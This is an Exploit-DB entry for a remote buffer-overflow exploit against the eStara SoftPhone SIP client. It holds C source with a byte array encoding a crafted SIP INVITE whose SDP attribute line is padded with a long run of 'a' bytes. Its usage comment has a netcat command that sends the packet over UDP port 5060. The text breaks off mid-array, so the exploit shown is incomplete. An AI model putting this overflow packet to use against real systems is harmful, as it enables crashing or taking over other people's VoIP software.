Exploit-DB #1413
Description: eStara SoftPhone 3.0.1.46 - SIP Remote Buffer Overflow (1)
Type: remote
Platform: windows
Date: 2006-01-12
Author: ZwelL

Exploit:
/***************************************
eStara Softphone buffer overflow exploit
tested on :
	eStara Softphone 3.0.1.14
		||||||
	eStara Softphone 3.0.1.46
Vender website : http://www.estara.com/softphone/softph.exe

Run this application, then use nc to send builded packet :
nc -u 127.0.0.1 5060 <sip_overflow_exploit.dat
It will display a "hack" dialogbox in the target if it runs softphone.

Author : ZwelL
Mail : zwell@sohu.com
WebSite : http://www.donews.net/zwell
Data : 2006.01.11
**************************************/

#include <windows.h>
#include <stdio.h>

unsigned char invite[] = {
	0x49, 0x4E, 0x56, 0x49, 0x54, 0x45, 0x20, 0x73, 0x69, 0x70, 0x3A, 0x61, 0x40, 0x31, 0x32, 0x37, 
	0x2E, 0x30, 0x2E, 0x30, 0x2E, 0x31, 0x20, 0x53, 0x49, 0x50, 0x2F, 0x32, 0x2E, 0x30, 0x0D, 0x0A, 
	0x56, 0x69, 0x61, 0x3A, 0x20, 0x53, 0x49, 0x50, 0x2F, 0x32, 0x2E, 0x30, 0x2F, 0x55, 0x44, 0x50, 
	0x20, 0x31, 0x37, 0x32, 0x2E, 0x31, 0x36, 0x2E, 0x33, 0x2E, 0x36, 0x3A, 0x33, 0x33, 0x33, 0x33, 
	0x3B, 0x62, 0x72, 0x61, 0x6E, 0x63, 0x68, 0x3D, 0x7A, 0x39, 0x68, 0x47, 0x34, 0x62, 0x4B, 0x30, 
	0x30, 0x30, 0x30, 0x34, 0x31, 0x37, 0x38, 0x7A, 0x39, 0x68, 0x47, 0x34, 0x62, 0x4B, 0x2E, 0x30, 
	0x30, 0x30, 0x30, 0x32, 0x46, 0x32, 0x41, 0x0D, 0x0A, 0x46, 0x72, 0x6F, 0x6D, 0x3A, 0x20, 0x34, 
	0x31, 0x37, 0x38, 0x20, 0x3C, 0x73, 0x69, 0x70, 0x3A, 0x61, 0x40, 0x31, 0x32, 0x37, 0x2E, 0x30, 
	0x2E, 0x30, 0x2E, 0x31, 0x3E, 0x3B, 0x74, 0x61, 0x67, 0x3D, 0x34, 0x31, 0x37, 0x38, 0x0D, 0x0A, 
	0x54, 0x6F, 0x3A, 0x20, 0x52, 0x65, 0x63, 0x65, 0x69, 0x76, 0x65, 0x72, 0x20, 0x3C, 0x73, 0x69, 
	0x70, 0x3A, 0x61, 0x40, 0x31, 0x32, 0x37, 0x2E, 0x30, 0x2E, 0x30, 0x2E, 0x31, 0x3E, 0x0D, 0x0A, 
	0x43, 0x61, 0x6C, 0x6C, 0x2D, 0x49, 0x44, 0x3A, 0x20, 0x32, 0x34, 0x34, 0x33, 0x30, 0x40, 0x31, 
	0x37, 0x32, 0x2E, 0x31, 0x36, 0x2E, 0x33, 0x2E, 0x36, 0x0D, 0x0A, 0x43, 0x53, 0x65, 0x71, 0x3A, 
	0x20, 0x31, 0x38, 0x32, 0x32, 0x35, 0x20, 0x49, 0x4E, 0x56, 0x49, 0x54, 0x45, 0x0D, 0x0A, 0x43, 
	0x6F, 0x6E, 0x74, 0x61, 0x63, 0x74, 0x3A, 0x20, 0x34, 0x31, 0x37, 0x38, 0x20, 0x3C, 0x73, 0x69, 
	0x70, 0x3A, 0x61, 0x40, 0x31, 0x32, 0x37, 0x2E, 0x30, 0x2E, 0x30, 0x2E, 0x31, 0x3E, 0x0D, 0x0A, 
	0x45, 0x78, 0x70, 0x69, 0x72, 0x65, 0x73, 0x3A, 0x20, 0x31, 0x32, 0x30, 0x30, 0x0D, 0x0A, 0x4D, 
	0x61, 0x78, 0x2D, 0x46, 0x6F, 0x72, 0x77, 0x61, 0x72, 0x64, 0x73, 0x3A, 0x20, 0x37, 0x30, 0x0D, 
	0x0A, 0x43, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x2D, 0x54, 0x79, 0x70, 0x65, 0x3A, 0x20, 0x61, 
	0x70, 0x70, 0x6C, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x2F, 0x73, 0x64, 0x70, 0x0D, 0x0A, 
	0x43, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x2D, 0x4C, 0x65, 0x6E, 0x67, 0x74, 0x68, 0x3A, 0x20, 
	0x34, 0x32, 0x32, 0x32, 0x0D, 0x0A, 0x0D, 0x0A, 0x76, 0x3D, 0x30, 0x0D, 0x0A, 0x6F, 0x3D, 0x34, 
	0x31, 0x37, 0x38, 0x20, 0x34, 0x31, 0x37, 0x38, 0x20, 0x34, 0x31, 0x37, 0x38, 0x20, 0x49, 0x4E, 
	0x20, 0x49, 0x50, 0x34, 0x20, 0x31, 0x37, 0x32, 0x2E, 0x31, 0x36, 0x2E, 0x33, 0x2E, 0x36, 0x0D, 
	0x0A, 0x73, 0x3D, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6F, 0x6E, 0x20, 0x53, 0x44, 0x50, 0x0D, 0x0A, 
	0x63, 0x3D, 0x49, 0x4E, 0x20, 0x49, 0x50, 0x34, 0x20, 0x31, 0x37, 0x32, 0x2E, 0x31, 0x36, 0x2E, 
	0x33, 0x2E, 0x36, 0x0D, 0x0A, 0x74, 0x3D, 0x30, 0x20, 0x30, 0x0D, 0x0A, 0x6D, 0x3D, 0x61, 0x75, 
	0x64, 0x69, 0x6F, 0x20, 0x39, 0x38, 0x37, 0x36, 0x20, 0x52, 0x54, 0x50, 0x2F, 0x41, 0x56, 0x50, 
	0x20, 0x30, 0x0D, 0x0A, 0x61, 0x3D, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 
	0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 
	0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 
	0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 
	0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 
	0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 
	0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 
	0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 
	0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 
	0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 
	0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 
	0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 
	0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 
	0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 
	0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 
	0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 
	0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 
	0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 
	0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 
	0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 
	0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 
	0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 
	0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 
	0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 
	0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 
	0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 
	0x61, 0x61, 0x61, 0x61, 0x61, 0x6